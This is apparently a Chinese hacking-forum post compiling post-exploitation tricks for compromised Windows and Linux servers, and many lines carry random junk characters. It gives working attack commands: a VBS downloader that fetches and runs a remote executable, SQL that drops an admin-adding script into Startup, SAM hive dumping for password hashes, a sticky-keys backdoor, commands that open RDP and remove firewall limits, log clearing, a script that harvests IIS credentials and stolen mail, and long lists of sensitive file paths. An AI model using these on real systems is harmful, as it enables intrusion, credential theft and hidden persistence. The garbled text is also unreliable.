* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
( [: V5 d7 d0 k. Q- f7 e* vfs.usermount: 1
9 b( x! t: Y' f& v! H' C* [argp@julius ~]$ id
( N( y$ y, c- j' U/ s- O* uid=1001(argp) gid=1001(argp) groups=1001(argp)
, r! F% t. R/ j8 L+ K$ F# ]8 T3 n* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
/ g  h/ [% G5 b& i* [argp@julius ~]$ ./nfs_mount_ex
$ G) U' h3 m2 \/ F6 D( ?+ f/ `8 G*
7 k: t/ v$ v6 }9 p2 |7 u: Z+ pcalling nmount()
, S% t. {8 t! c1 ~3 ]$ Z* |9 @
5 ~; }9 r' x' c! b（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
2 K* Z" j& @  B5 p' D0 X——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
, y) n7 d2 p! k) a; f; I1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
+ j) E" P0 c; g) u关于tar的打包方式,linux不以扩展名来决定文件类型。
% y' x# v, b) ]; L若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
1 h7 k1 q" N3 p4 w" j% R/ Y6 C/ j}  

$ ]2 C: T1 ~) ~; U2 z  m) g9 B提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
$ l9 ?+ h+ D" J1 X3 ]4 o& P命令行RAR打包~~·
6 J+ O8 k/ i: R1 z' F7 trar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
& K: r$ i; E4 {! G4 g$ j. U" I2、收集系统信息的脚本  
for window：

@echo off
* `7 Z4 V: [# i1 ?) W. u, K5 Uecho #########system info collection
systeminfo
ver
' C2 h4 o9 h2 x  X# p; j# Yhostname
net user
net localgroup
net localgroup administrators
. B5 x% _3 K  l: q/ L9 Xnet user guest
net user administrator

echo #######at- with   atq#####
echo schtask /query
) V! w% N* M8 I% d4 \- j
/ r4 D! i0 s6 O9 A. A* M  Jecho
2 L3 a9 p6 ~, v( Q( k# O: mecho ####task-list#############
8 T* B% q* L% w! F4 Wtasklist /svc
6 d0 \4 N7 j4 ~) fecho
echo ####net-work infomation
) J# W& L6 d" N2 j! g" W- l# @ipconfig/all
9 Y7 a# X' F/ a* P3 N4 v8 N, oroute print
arp -a
netstat -anipconfig /displaydns
echo
echo #######service############
+ R( K5 ~" A. R" G: xsc query type= service state= all
- A! c/ v5 ^; n( @echo #######file-##############
cd \
# [% G7 L6 C; G, ^0 [tree -F
for linux：
, [3 q  ^. K( L# p" L/ G
#!/bin/bash
+ H' ?% m2 |+ O& C
7 j  Q, G5 ]; T" ?2 iecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
* c$ d# T  B) Z: Mcat /proc/meminfo
echo
5 U6 W! n( b3 ^  d; M: h* F: ~! icat /proc/cpuinfo
echo
7 _4 g- r' o3 o2 s8 x3 B& Prpm -qa 2>/dev/null
. J- j0 y3 D8 n% Y7 ^######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null
8 \! j5 m) n+ U6 r
0 _2 Q, R8 ~/ Q9 g: g
3 J# l% N1 n5 R; o3 Gecho 'u'r id is' `id`
echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
/ E& B; M& O/ c( P; Nset

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
* t; q1 P! m* q6 C0 J7 t7 t! Hcat /etc/hosts
hostname
6 B! @& |( p- S( R2 m2 M& t  B9 jipconfig -a
  Q  f& m* k2 w+ s, ^& karp -v
2 z3 r2 x( n( i3 G( W2 [echo ########user####
cat /etc/passwd|grep -i sh
* W7 l( x, @( A
echo ######service####
, E7 _6 t: ]' f: A! O' J7 T: Lchkconfig --list
- g# X* b5 {/ R0 ]
for i in {oracle,mysql,tomcat,samba,apache,ftp}
2 e% ~! u) S$ I- ^; A; f; L+ y+ ~cat /etc/passwd|grep -i $i
done
2 p* ^) Q& z: w& ~8 z( e
locate passwd >/tmp/password 2>/dev/null
, {" R  N9 T+ Xsleep 5
locate password >>/tmp/password 2>/dev/null
" D- _# A& C& j; Usleep 5
  x7 t- H/ [9 [7 k0 Elocate conf >/tmp/sysconfig 2>dev/null
sleep 5
+ ]) d3 }+ ~) }  v& S1 E- [% Llocate config >>/tmp/sysconfig 2>/dev/null
sleep 5
& q/ B& v3 s* T$ N1 |- W  F
###maybe can use "tree /"###
+ j1 _* f, P3 M) y: lecho ##packing up#########
  ?8 I9 L$ B( K/ y" O+ htar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
0 m4 I$ Q7 B$ T$ q2 O6 d& p" vrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
9 o9 p( Y; n: G4 O3 ^+ z: \+ ?6 L——————————————
3、ethash 不免杀怎么获取本机hash。
首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
  j; E; c- X' Y3 m. r) m# p接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
6 Q" w0 }% U* g" D% W3 @——————————————
7 a0 B, R. K# ]7 V/ _4、vbs 下载者
) x% @0 {- f; J; a& V7 Y1
! b( [* B8 g6 [4 n/ w! Z, X' H2 m+ Zecho Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
5 |, J" Q% F1 W3 k; n; Gecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
echo sGet.Type = 1 >>c:\windows\cftmon.vbs
& T8 ?4 G) S9 ?# S" k1 Fecho sGet.Open() >>c:\windows\cftmon.vbs
* L; c  N5 ^0 T1 W6 cecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
2 v2 h; v+ B& h( D# c2 R- ^& ~echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
5 k9 c) b! G! u) D: x/ B+ q' oecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
, K* g3 A/ @& E5 mcftmon.vbs

2
On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
( }2 w5 A9 ^! Ps1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
1 ~- ?0 `+ y5 p: d1 n  M# mSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
9 u7 A% X1 }: ?3 j
: t/ X! J1 y, o' Hcscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
, e! L; R2 B' H$ e! t8 }
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
/ u5 n( g& G7 x0 k——————————————————
5 C7 P! {5 s9 D4 ]% E' }) [5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
+ u5 [  r" [8 T: E1 `/ \: n. }: RREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
& S: Q* {5 ~1 u: w. N. W% sREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
; P' _" ^. K/ {6 V! ?————————————————
0 s6 z( P% R+ l- q8 E; y+ Q1 L6、create table a (cmd text);
9 m: M& j0 |) u2 Q9 ainsert into a values ("set wshshell=createobject (""wscript.shell"")");
" u9 P% n  E* M! uinsert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
8 V) O9 {' x  U% ~0 }2 L& e7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
_____
3 C8 I8 ^9 p/ N' E! l- ?3 U+ R6 c8、for /d %i in (d:\freehost\*) do @echo %i

4 T9 Z; Z" g- e! v" D6 e列出d的所有目录
. {# s. o7 a. `5 b  
/ X7 J. M- z& }* Z# H; j  for /d %i in (???) do @echo %i
0 t4 v" z0 o$ p' O1 m
8 o) c/ q( c" k4 B# c, ?2 x把当前路径下文件夹的名字只有1-3个字母的打出来

3 i  I9 e+ N% u# }% Q2.for /r %i in (*.exe) do @echo %i
3 q5 _) g9 U) L  p# H4 t  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
3 z. g5 s' L- ?7 m8 a& C
3.for /f %i in (c:\1.txt) do echo %i
/ j' x; z- Q9 _5 `+ [* Q4 c5 j  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
, A$ c2 g# J5 H# Z
4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
1 k2 g# R$ l5 Z' t* ]
  delims=后的空格是分隔符 tokens是取第几个位置
7 ~6 U  _% I$ q" F5 Q* A9 q9 ~——————————
6 t: N( L1 |7 Q( t" s7 j. b●注册表:
% ^- e6 M7 V( G$ r& ^$ q4 a1.Administrator注册表备份:
% a$ n" ]9 j: x" n6 B( G# n: r3 Areg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
' G) x+ p( M: {修改PortNumber.

3.清除3389登录记录:
reg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

3 `6 ]+ k  w8 t5 S4.Radmin密码:
) Y- l0 h) C0 jreg export HKLM\SYSTEM\RAdmin c:\a.reg
6 B( j2 a: o6 V9 z3 _; W* z
. p" X6 [6 p9 X+ p. u& j1 o5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
7 U( ~+ s/ b0 [. |/ G( C$ m
( Y. L% I. Q" }0 c( _$ d5 k" H, l/ g6.IPSec默认免除项88端口(需重启):
4 e+ R+ |4 {. e& }reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
- B. r8 ^( ]2 i: t# E或者
netsh ipsec dynamic set config ipsecexempt value=0
! \8 }! R: S$ C2 G4 h* Y. b8 D# E+ ]
7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n

" l% G, Q9 _7 a/ h8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
7 u% ~6 q' _9 L( \* s. N6 n
9.另类方法抓系统密码HASH
. z% ?! D8 e/ N8 W) o: |0 oreg save hklm\sam c:\sam.hive
5 G& a. _' _: K, P* greg save hklm\system c:\system.hive
reg save hklm\security c:\security.hive

) b# j/ s# b6 O. M4 ?10.shift映像劫持
) K0 Q4 D4 @* L# m9 P+ a& Qreg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe
' c% _( M' V* v; B9 Q5 ^
9 i% c* m( ?! i  }* ]# m3 sreg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
  x4 \6 W0 ?% \5 W& J-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
$ g, {4 n: {5 L1 H7 fFor Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
4 W" k+ [( M2 M9 T1 ?$ xif IsNumeric(childObjectName)=true then
# E$ J% Q) F* c! y, J- wset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
msgbox("error!")
wscript.quit
+ t7 k0 H! ^4 y5 q  ~9 _end if
& v. Q4 x: k5 l" aserverbindings=IIS.serverBindings
2 z+ Z3 D( u6 jServerComment=iis.servercomment
set IISweb=iis.getobject("IIsWebVirtualDir","Root")
3 x7 M; }' Z# O0 }  juser=iisweb.AnonymousUserName
" p! }2 [/ ^3 Bpass=iisweb.AnonymousUserPass
6 N4 a7 J3 A9 b0 upath=IIsWeb.path
, V( G! |* q0 f& jlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
) L+ w$ S: p# R3 w' g5 }2 |wscript.echo list
Set ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
- L8 @! F& W& j/ x/ m8 r# e----------------------2011新气象，欢迎各位补充、指正、优化。----------------
4 Y  Q- j# t- r+ Q1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
. T9 t5 W; Z: x! |* v将folder.htt文件，加入以下代码：
( C4 c: e+ ]9 N6 S* x# G" n7 t  [<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
</OBJECT>
复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
/ ^) r' r3 Q$ J. I; x  a 原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
) R" {! F! F0 V- x! I! v 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
4 Z# y/ w3 ^5 a( G, Z* o0 F url=request.severvariables("path_info")
$ K& p9 G, j, G5 n! g0 l4 U' W) } path_info可以直接呈现虚拟路径 顺利解析gif大马
$ ]) i! ~, }4 Q1 E8 a
- F* _. o  q" b9 S# }# j, h==============================================================
LINUX常见路径：

/etc/passwd
1 ?& X( g! t9 i5 C- V" P/etc/shadow
; s$ F$ V8 t/ M1 X! N/etc/fstab
/etc/host.conf
/etc/motd
/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
/var/www/htdocs/index.html
/var/httpd/conf/php.ini
( V+ J0 W* H# i' @% x/var/httpd/htdocs/index.php
& K1 B( J0 [( K1 T& S- y$ _/var/httpd/conf/httpd.conf
% X# \5 d+ x7 h7 K# {( X/var/httpd/htdocs/index.html
! M" }1 K" D) l/var/httpd/conf/php.ini
3 L+ j" ^0 A! e* T: n/var/www/index.html
. |1 D6 F5 c  a7 D) a) D$ r5 C, E6 Q  R/var/www/index.php
/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
" w2 G8 V/ E/ ~) _; I/ k1 P/usr/local/apache/htdocs/index.html
1 E9 q' W4 P. |& c3 O$ k( Q' n/usr/local/apache/htdocs/index.php
1 f, R# y/ K* ~/usr/local/apache2/htdocs/index.html
+ t! C- v; V+ q8 I4 h9 N/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
7 ^' Z" ~* ]& d4 k7 W/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
; q8 t- h% B- J; U; W' v7 U" P  x4 s/etc/httpd/htdocs/index.php
' O! q. d/ T- {9 k/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
) L/ T1 k; V9 k# f* G1 Q, X/www/php/php.ini
/www/php4/php.ini
/www/php5/php.ini
. ?  m2 {; k" i( ]/www/conf/httpd.conf
; Y% }. f9 b4 a/www/htdocs/index.php
& t4 i$ z: d! j. a9 G$ T/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
2 D. x% h) [0 j3 \/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
4 a4 Z* N# t7 X$ l/etc/apache/apache.conf
' u) J% g: |. n$ y6 z, f5 o/etc/apache2/apache.conf
/ B- z3 ^# d0 e% K0 N/etc/apache/httpd.conf
/etc/apache2/httpd.conf
$ L8 C9 l* D- W; Y' B. t3 w) T. F/etc/apache2/vhosts.d/00_default_vhost.conf
$ A3 ^; _$ i; ~/etc/apache2/sites-available/default
3 E' \: J, l2 t0 Z( [/etc/phpmyadmin/config.inc.php
& M- J2 ~9 q9 R5 V& |0 f/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
+ }  P  j* \* e8 o6 X/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
/home/apache2/conf/httpd.conf
/var/log/apache/error_log
+ k6 w1 P3 t1 s8 Y/var/log/apache/error.log
, R% Q' `3 _; i' g+ ^/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
2 E& x; k9 j0 W9 k- h0 `) G+ U/var/log/apache2/access_log
$ u  ]" a- J) i" b, O. n" K* B: d/var/log/apache2/access.log
8 t7 H9 S" g4 o' [8 t9 t$ z+ n/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
! E; f, N+ ~) H' t# b7 }' `. ?/var/www/logs/access.log
/usr/local/apache/logs/error_log
6 a3 [2 o/ V& ?1 Y6 e# M' |3 x5 Q/usr/local/apache/logs/error.log
0 o' l! i2 w; A3 y9 F6 ?1 L* u/ V, h/usr/local/apache/logs/access_log
9 z+ ?+ d4 w. |8 U5 ^8 ?/usr/local/apache/logs/access.log
/var/log/error_log
3 i5 I$ l0 J5 Y/var/log/error.log
( d5 f) f# D( ^; d- ]$ t( Q2 Y/var/log/access_log
1 c+ e: O: n8 o% C) G( P# b7 [/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
/usr/local/apache/logs/error_logerror_log.old
& y5 G( V0 E4 C: ^1 P! v, w! @/etc/php.ini
5 ^. Z, M$ e# I, o' X/bin/php.ini
! s. J8 O9 ?8 j0 ?8 @! x/etc/init.d/httpd
/etc/init.d/mysql
/etc/httpd/php.ini
; `' F9 W4 G3 i! N' y7 L/usr/lib/php.ini
/usr/lib/php/php.ini
  `4 G7 h5 V( z- L' X/usr/local/etc/php.ini
: D3 Z2 B8 a% X( |# `* z/usr/local/lib/php.ini
+ i* _- e# r, _' M* v& H4 K+ Q3 f/usr/local/php/lib/php.ini
1 c* A! j6 _  @# R! O% m/usr/local/php4/lib/php.ini
% ]  e$ p; W$ f0 ~) m; d% _9 X, B/usr/local/php4/php.ini
' R& j: s% p# j: _& v5 ?- |/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
  [+ z* y6 [# z* C6 b& e/usr/local/php5/php5.ini
, A+ I/ [: D% W. ~9 V7 |/usr/local/apache/conf/php.ini
; o7 I) |* g8 x1 H/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
: C: T  J  ^* T8 w" P, Y& q/usr/local/apache2/conf/php.ini
$ t; s: W+ P* D% o9 e+ M& |/etc/php4.4/fcgi/php.ini
9 a8 G- I3 b6 W9 s- c) a9 r/etc/php4/apache/php.ini
: |6 t1 u1 h- U/ B- y/etc/php4/apache2/php.ini
* ~* l' O6 S* {" D/etc/php5/apache/php.ini
/etc/php5/apache2/php.ini
/etc/php/php.ini
- i" s* L- m  O- z/etc/php/php4/php.ini
$ s3 e4 `5 ]/ V% B0 j/etc/php/apache/php.ini
% P' F$ Z; v" b+ l' {/etc/php/apache2/php.ini
* F; {( \: b# x4 L: o* l/web/conf/php.ini
4 m0 Y/ {# K2 V/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
: w, }2 J9 d  P4 o* }. l6 n! H/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/ F6 X( s5 e  e/ @" ^) R3 W- L/php5/php.ini
4 e# J) j7 w& W2 d0 b+ l/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
/xampp/apache/bin/php.ini
/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
/var/log/mysql/mysql-bin.log
: u# S* v) {" p4 a3 d/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
; R. a9 y5 `& C' \/var/log/mysql/mysql-slow.log
/ x) e( v& m! i# {+ R3 z/var/mysql.log
/var/lib/mysql/my.cnf
8 Q  B4 i1 J) ?0 c/usr/local/mysql/my.cnf
$ a- m6 x0 f7 [/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
6 O' s% `, i8 S  W5 `: {/etc/my.cnf
7 K9 C/ }* _7 ^+ u. ]: j7 B/usr/local/cpanel/logs
5 y0 j: H" `0 w  u/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
7 c2 x& I; Y# v! s( R% b/usr/local/cpanel/logs/error_log
2 |9 Q. W' \7 _' G* P/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
! k, s* B: M  S  h* w1 n/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
% G% J; E/ I4 ]% M. E; m* P
; o6 m5 Y( P8 D( Q, ^6 F" v: j  ^2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
; b, c  m  u1 l
$ w7 _: E: p% I0 B8 L) fc:\windows\php.ini
c:\boot.ini
# D5 q8 I5 B- f- Mc:\1.txt
c:\a.txt

c:\CMailServer\config.ini
* A! [; B: X% H. @c:\CMailServer\CMailServer.exe
8 J: B" ~3 L4 z, @0 zc:\CMailServer\WebMail\index.asp
4 s- ^2 K% S9 R; K4 rc:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
. p! I! v4 V4 G: j; rC:\WinWebMail\SysInfo.ini
* J: t8 Q1 O$ u( d8 D+ xC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
. Y! W9 N: ~, sC:\WINDOWS\7i24tool.exe
* H5 F8 a! {7 ?- l3 l' ^- m
& c; L' t) p! w3 u  Z3 C, ic:\hzhost\databases\url.asp
3 r' u! Q+ g7 l# h( |
1 }/ s) N5 ?: i& vc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
7 r; C8 }0 B4 N0 O# q
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
$ e8 q. C/ R0 t4 b$ T2 k& |c:\WWWROOT\index.html
$ d  W" k9 [7 H: Oc:\website\index.html
. i# E: D0 M$ s: {0 Gc:\web\index.asp
4 \  y- Q2 |6 `: @- M( {" ac:\www\index.asp
2 N6 v1 J* s5 M8 D5 t& B+ J; v0 P. [c:\wwwsite\index.asp
$ _' y, ]0 Y; V0 K7 P5 m/ `c:\WWWROOT\index.asp
c:\web\index.php
c:\www\index.php
c:\WWWROOT\index.php
c:\WWWsite\index.php
/ x4 O) }* p1 ?. o" }  Q) Q; D/ Tc:\web\default.html
" d3 x2 z  G% r1 W  O5 o% hc:\www\default.html
c:\WWWROOT\default.html
+ ~/ F2 t% c) J! T1 _c:\website\default.html
; C1 o5 |" @* kc:\web\default.asp
c:\www\default.asp
c:\wwwsite\default.asp
% B& a+ }' L  N% ^c:\WWWROOT\default.asp
c:\web\default.php
c:\www\default.php
7 I4 T7 j' p: @6 B0 p( r& r5 P- Bc:\WWWROOT\default.php
c:\WWWsite\default.php
/ M) ?% l. h3 k; J+ ?C:\Inetpub\wwwroot\pagerror.gif
- T2 }( B& g- ?$ wc:\windows\notepad.exe
c:\winnt\notepad.exe
' F; N9 u6 Q! @5 o- h1 j+ [( p6 _C:\Program Files\Microsoft Office\OFFICE10\winword.exe
% A4 j8 V5 X. w% l! BC:\Program Files\Microsoft Office\OFFICE11\winword.exe
- N0 F( k+ p# I( xC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
/ w9 T; w  p# z: H7 D- M, pC:\Program Files\360\360Safe\360safe.exe
4 S0 c& ~0 b6 ~* P( L0 i) AC:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
! i' Z# J' M. n- h" p/ o" Sc:\ravbin\store.ini
1 }" G. ?* D* J+ ^c:\rising.ini
/ D( \$ {& b; e( O# j; z: d% LC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
: T1 S  @5 D$ P# D9 {C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
% w5 G& X9 L* D; ~/ fC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
C:\Documents and Settings\Administrator\My Documents\1.txt
C:\Documents and Settings\Administrator\桌面\1.txt
2 ^4 H, \+ ?3 ?  ]C:\Documents and Settings\Administrator\My Documents\a.txt
- y( `6 }0 N2 y) I  f- p* b% O! [4 iC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
% I& }6 n: O4 k# wE:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
. i( x- }; \  ]: T/ E' Q, Y$ K1 ~C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
6 r7 _* ?" u, R$ P( BC:\Program Files\Symantec\SYMEVENT.INF
) Z7 U' M6 F# z  H( uC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
1 O8 K- `4 [1 ~& v3 c( CC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
& B$ S* m5 z9 e+ U1 W2 g2 OC:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
4 `. P; e6 H1 d# Y( o1 EC:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
0 \, o& a! Z5 W5 K# ?+ A. l: IC:\Program Files\MySQL\MySQL Server 5.0\my.ini
8 }) f9 |2 f* T7 X' v: [* fC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
C:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
; Z0 v/ w/ @: ]- i/ v2 }* }+ I% P1 RC:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
8 F1 x' o5 L' R: `0 w5 wC:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
